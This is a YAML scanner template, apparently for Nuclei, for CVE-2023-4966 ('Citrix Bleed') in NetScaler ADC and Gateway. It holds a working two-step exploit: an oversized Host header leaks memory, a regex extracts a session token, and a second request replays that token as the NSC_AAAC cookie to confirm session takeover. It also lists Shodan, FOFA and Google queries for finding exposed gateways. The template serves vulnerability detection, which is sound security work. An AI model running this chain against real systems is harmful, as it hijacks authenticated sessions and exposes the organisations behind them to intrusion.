id: CVE-2023-4966

info:
  name: Citrix Bleed - Leaking Session Tokens
  author: DhiyaneshDK
  severity: high
  description: |
    Sensitive information disclosure in NetScaler ADC and NetScaler Gateway when configured as a Gateway (VPN virtual server, ICA Proxy, CVPN, RDP Proxy) or AAA ?virtual?server.
  reference:
    - https://github.com/assetnote/exploits/blob/main/citrix/CVE-2023-4966/exploit.py
    - https://github.com/Chocapikk/CVE-2023-4966
    - https://www.assetnote.io/resources/research/citrix-bleed-leaking-session-tokens-with-cve-2023-4966
    - https://x.com/assetnote/status/1716757539323564196?s=20
    - https://www.netscaler.com/blog/news/cve-2023-4966-critical-security-update-now-available-for-netscaler-adc-and-netscaler-gateway/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2023-4966
    cwe-id: CWE-119,NVD-CWE-noinfo
    epss-score: 0.9671
    epss-percentile: 0.99651
    cpe: cpe:2.3:a:citrix:netscaler_application_delivery_controller:*:*:*:*:fips:*:*:*
  metadata:
    verified: "true"
    max-request: 2
    vendor: citrix
    product: netscaler_application_delivery_controller
    shodan-query:
      - title:"Citrix Gateway" || title:"Netscaler Gateway"
      - http.title:"citrix gateway" || title:"netscaler gateway"
    fofa-query: title="citrix gateway" || title:"netscaler gateway"
    google-query: intitle:"citrix gateway" || title:"netscaler gateway"
  tags: cve,cve2023,citrix,adc,info-leak,kev,exposure
variables:
  payload: '{{repeat("a", 24812)}}'
  str: "{{to_lower(rand_text_alpha(4))}}"

http:
  - raw:
      - |+
        GET /oauth/idp/.well-known/openid-configuration HTTP/1.1
        {{str}}: {{Hostname}}
        Host: {{payload}}

      - |+
        POST /logon/LogonPoint/Authentication/GetUserName HTTP/1.1
        Host: {{Hostname}}
        Cookie: NSC_AAAC={{session}}

    unsafe: true

    extractors:
      - type: regex
        name: session
        part: body_1
        group: 1
        regex:
          - '([a-f0-9]{100}45525d5f4f58455e445a4a42)'
        internal: true

      - type: regex
        part: body_2
        regex:
          - '([a-z0-9._]+)'

    matchers-condition: and
    matchers:
      - type: word
        words:
          - 'NSC_AAAC='
          - 'HTTP/1.1'

      - type: word
        words:
          - '{"issuer":'
# digest: 4b0a004830460221009f2a4459385b43ec6fbefee25590b2880ffb80d2277ea8661e3c70f68e43dab6022100fe0c3fb75a095ced0882319ac2560b33bfe533ae30181a6a0ce539bab0dee8e6:922c64590222798bb761d5b6d8e72950